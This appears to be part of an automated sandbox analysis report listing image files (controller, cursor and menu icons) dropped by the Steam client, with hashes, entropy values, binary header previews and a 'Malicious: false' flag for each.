Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_right_click_fade.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	124654
Entropy (8bit):	7.5894777639400735
Encrypted:	false
SSDEEP:
MD5:	BC2FCEADC881BBF8742DF46B2A0265CF
SHA1:	DFE3A9CCEBA5F3B170CE8A90780BB06382A61DF7
SHA-256:	C814E53D2125E0751EFA96DFB4217E09FB076A9E8E22FA56B5D0841CDDA31E91
SHA-512:	8BB95E91B5769F065D41DC7CD9DA49B0A1490ABD293A7D0A0B14442A37C63B94D047E8F2FCB0BBEBE0E587CDD78EB9EF013C8EFB33AD5F734D5B0D779F2345C2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_pad_hands_right_fade.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 854, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	94066
Entropy (8bit):	7.395447879455089
Encrypted:	false
SSDEEP:
MD5:	64AD4A61DEEE37CEAAFF755EA267E785
SHA1:	E7AD757FFEDB8859F9646BA2D02AE00217B87DFA
SHA-256:	07C3F06FF59162846F020712C07ECE069C3E6D879E1C31A32260DE57E2040492
SHA-512:	49DC4A6273AA0A93281A76103B2E14B3A03019EEACE1B940FB8BCE50F1921C5170644F3B8359FCD83DF0E04FCB7188C56C8CDA9483ABD88A02B080B0854DB9EC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......V.......4.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_full.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3764
Entropy (8bit):	7.903045572550592
Encrypted:	false
SSDEEP:
MD5:	4A98BB57E7BEC9B1B715328BF54486B4
SHA1:	F3DBA2E3E548EBCACCDFE34BEDFC1C80A578138A
SHA-256:	5B75668FE9D95F683564BC1DC7B0EED28F5169AB0716003CFE6567A90D764550
SHA-512:	61BC8D2DBF11CF04F21A726A0EC34E29F3CC14F25CE8103C26758BB025414E8257888FD11516FD67EA0C5B89F2D6E3EFF55533A6CB683FC9F058F3D35276FCD6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_full_storemain.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7108
Entropy (8bit):	7.929605554127697
Encrypted:	false
SSDEEP:
MD5:	5016E6BBD99B6179BEFF2FF18163800A
SHA1:	1AF00ECE75BADE920C0A7664B21E682FA5AADD1B
SHA-256:	43CA14726140647836C0F68ECB606FB9E91F0B267D1F55CE39F29D928DEA47E5
SHA-512:	405CB7A321D06A148A91F2F9D2278C8D8F05AE6E6697A1B101D7212E0FBE5F57F7E6C6A4A994EA5DD2D9340F23BA3AB2D2699C38FB2E099583BB1B1AE44BC7C4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...H...H....."......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D7706D6E312111E3974DEA28F3B4E4CD" xmpMM:InstanceID="xmp.iid:D7706D6D312111E3974DEA28F3B4E4CD" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.did:6ADB4AA15F30E31193678F8DB257B830" stRef:documentID="xmp.did:6ADB4AA15F30E31193678F8DB257B830"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.m....8IDATx.b.Q6a...A...I&.<3X.;;....b.........G ...s.1....?..3...^...........b}dE.O...._.....T....S@..(n...h4....vK

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_legacy.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4013
Entropy (8bit):	7.904471938427719
Encrypted:	false
SSDEEP:
MD5:	52E73AFDAAAD0D2DBAE747C60AD7C5AF
SHA1:	83701CF9475D4FA3E600E06051664C4C811620AF
SHA-256:	A09D2EBDCF94E2A145476469E73ACAFBDF2DC104A74BA35A02E184CBA933FD4E
SHA-512:	3F26FD9EFE1DC1F5F2A819DD2AA47C728AD5CC8DD6C83F31B37B7C73F0CA8C85BB1EB4F05ED2F59273D19DD6B4E548CBA8E687A215872C9706BC10DB01B319A8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_native.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3807
Entropy (8bit):	7.90262095248278
Encrypted:	false
SSDEEP:
MD5:	2C4BAA86014E5B1C5E5D2743D96286C4
SHA1:	9CD32D0784E87FC2B5EF1E8F6E1312825759BD41
SHA-256:	3F9D1A445078BDBC73B82D4CBB747D4C06210F9DE71DAAF1431E05AB0E6A84DE
SHA-512:	D0AEF05555E57AB47B1D904E43AB2D1039237B8F83201CF395A652EC6221112B3AC5F56CEB7E5EE80341F7CD617AAEBC2B50907F923C415448375EE2B40E58DC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_partial.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.519892615184616
Encrypted:	false
SSDEEP:
MD5:	72329504AF00D949FC2F46292A3435BA
SHA1:	A70C7812398F7934604594762B6FAA614545FB83
SHA-256:	E76DB5BEBB8D66D02AA7E739E0F443C311368784F68316C8913BBB09AD08DF32
SHA-512:	E4450C4227601B03112F78DFC8C7E64A901A7F056D6C73C1D657C4A68898E7498C51B1EA0BB269314F4C8773EF59D1FAE1C57ABF55892D865B541D16CCCF3090
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...2.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:7D0289FC09C711E29793F26F85301124" xmpMM:DocumentID="xmp.did:7D0289FD09C711E29793F26F85301124"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7D0289FA09C711E29793F26F85301124" stRef:documentID="xmp.did:7D0289FB09C711E29793F26F85301124"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>$.(E....IDATx..k.UU...s.l...TP..R.p....2...?.........?X...,..^.R...q..8>RG%.O,.R..6......../n....9.;s].......k

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_support_partial_storemain.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7521
Entropy (8bit):	7.926524250522555
Encrypted:	false
SSDEEP:
MD5:	2BEB58FA9760D08E4D051371C4687041
SHA1:	5107635396EE4F0BD421152916E8438148098DA1
SHA-256:	F0E581E9028204E4567FC52201670540C6D4684BCBF768D831B300D582240C1D
SHA-512:	CC439E4EAEF62A04249BFF7CC2268F965F8F94912A69445A1C61D098A8B3988AC1BD4D59491AE06057DE850FF7481932D844206702BCCED8164FC835340D1D66
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...H...H....."......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:DC2F7428312111E39B50A3323AB1CEB4" xmpMM:InstanceID="xmp.iid:DC2F7427312111E39B50A3323AB1CEB4" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.did:6ADB4AA15F30E31193678F8DB257B830" stRef:documentID="xmp.did:6ADB4AA15F30E31193678F8DB257B830"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.b......IDATx.b.Q6a...A...I&.<3X.;;....b.........G ...s.1....?..3...^...........b}dE.O...._..........S@..(n.V.4......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\critical.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3532
Entropy (8bit):	7.896834431648602
Encrypted:	false
SSDEEP:
MD5:	F830BB7A022EA0FB0AB65C84AACEC281
SHA1:	048CEE55D32647ED24DFE0EC4396BD9592A422D6
SHA-256:	10198FFE556580E2A10E2728F5724A55BFE8D4585E2147A54E356D8A26170365
SHA-512:	080E79628752ECE33B41B4584F18558BFEF027DAE882F04C0A8323B4B7E77E7F724A28B86DCEC7E1BCE0E4D2A98297BE520F928BED5FF7A4C58DE53B2C7DD565
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\cursors\arrow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 58 x 58, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5292
Entropy (8bit):	7.921483001358686
Encrypted:	false
SSDEEP:
MD5:	30C0085F7BA699FD6A775A5374703AC4
SHA1:	2FEFCCF84BF0FFE0C0317D40CE16CA8B12FF9483
SHA-256:	0CA542C627F8F93B608E2EF45E5F0CF4BB8ECBE746B5BF7CF8AA2DAC0345370E
SHA-512:	D4C396FF8BD54E118A1A2E0FDD42E2A014FA1B01DB096013D275696476EE6624626A612A998F2CB690186F366FE72F2EE2A19E18C1918D964214280DACA83BF2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...:......J(....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\cursors\hand.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 58 x 58, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	21950
Entropy (8bit):	4.278867857036436
Encrypted:	false
SSDEEP:
MD5:	868AE2950136592F54821EC0BB41E7C6
SHA1:	F3F3B94FB229B263DD7D02BC642F3C91B3A4A3EC
SHA-256:	EBF777DB35B595D6DAB78800074329573100CFA73B056D4F485E1ED632290227
SHA-512:	0F62D6D8E5D73ABA1287F7B34C1D54502F98705ECB0C17E74C93215C986543AD7323A669D3EC8EBB5EC6C9C96BC00BB805CE52F03512425EEDF0AF4351BE6492
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...:......J(....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\cursors\ibeam.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 20 x 43, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.551445511972057
Encrypted:	false
SSDEEP:
MD5:	070A002532757CA0CA71571D8287AFDB
SHA1:	343108AA27E4F7FB83D392E69A334F06E2C03EA3
SHA-256:	6F6B1E4DB147489E4A5AEAC85D8D8DE71880AE9918BAA12AC763C70FE160B533
SHA-512:	41D0B3291F4907A13A837221DCBF3B7C67FB7048A10D389C7D9230E8B4291690C1C3F64AA3C29084F3B958F2824099B7244F5E737A90821BBCC33104E40D663A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......+.....x..u....sRGB.........bKGD..............pHYs.................tIME........%H....IDATH..j\G...sf..0..'...F.;?.\).".+7R.5.T..............y......X.{g...etq..6`...;.=...c...gg.,........(.3K).=;;.~oo.....K....x.......<...~.9Gq..9.......E.q.55...@..-....7`UU..z@TU....F./....w].ND.9.E$z.S..5 wJ..._...C`.....\|.....s.NNN~......{....3......0.: ..B)mccc.L{.)...H..N,m.4.....~n..pm.y...!.(..s...C.3..6.Z%.2,..DU.P.^W>.2..I..[.C.\.R2P2l-nf>...>..K.5.""...X..,.9VV...,.,."Y-..3\....\z.?.)/....2..)....l.....{....s..C.....NUq..bq%V...j.......QU1.)...k.T.~w.#.I.m....~t].=... R...r.}.6...r..q...2..tn........9?.n.c\I).......m0aww...l..p8l.....Z.}.....r'.....ED.Tm.@.Y.sn{{..r.{.....HR....l..9..jJiz~~......6.O.k.+.QQ....T.V.(.i.W.}}.-.)...K6.....l.....j.~..........k..=w......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\downloads.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.893006722560891
Encrypted:	false
SSDEEP:
MD5:	CC711E37D42F86A720F247F36E6A0D3D
SHA1:	B764BC50A43F6AB1F218C780973CC0EA85E0AC49
SHA-256:	4ABB7051003A502A1B470470715F2C64A950A6B77558FDD6DA5C60696E821EBA
SHA-512:	743787CD26863E26F110959C387981B13525ECDB89457B977C4FD1B0A34B5032E943EED8816B878A129FF0F8C80D177462AE5BC1298687F8100AC1C58528DD25
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\exit.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3376
Entropy (8bit):	7.89179726438694
Encrypted:	false
SSDEEP:
MD5:	934FA142FAA8A1FE188077A5F15E240F
SHA1:	E37EC580BD69B639A5AA268198B1627FF03CCE1A
SHA-256:	405D8EFB452187288FD866E83FD5D3801F69E2F9A2EDF97E32DF767314A03AA7
SHA-512:	FA2233B9474E19CD09058B5680FFB42F03D99073D10A9CD54A8E606F4FF61805CA259736855AC7E7DEDC352D5CAFB771A5A1C8C9803B6144F34B465C90ADA8E0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\expand.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGB 9 x 9 x 24
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.61956495444513
Encrypted:	false
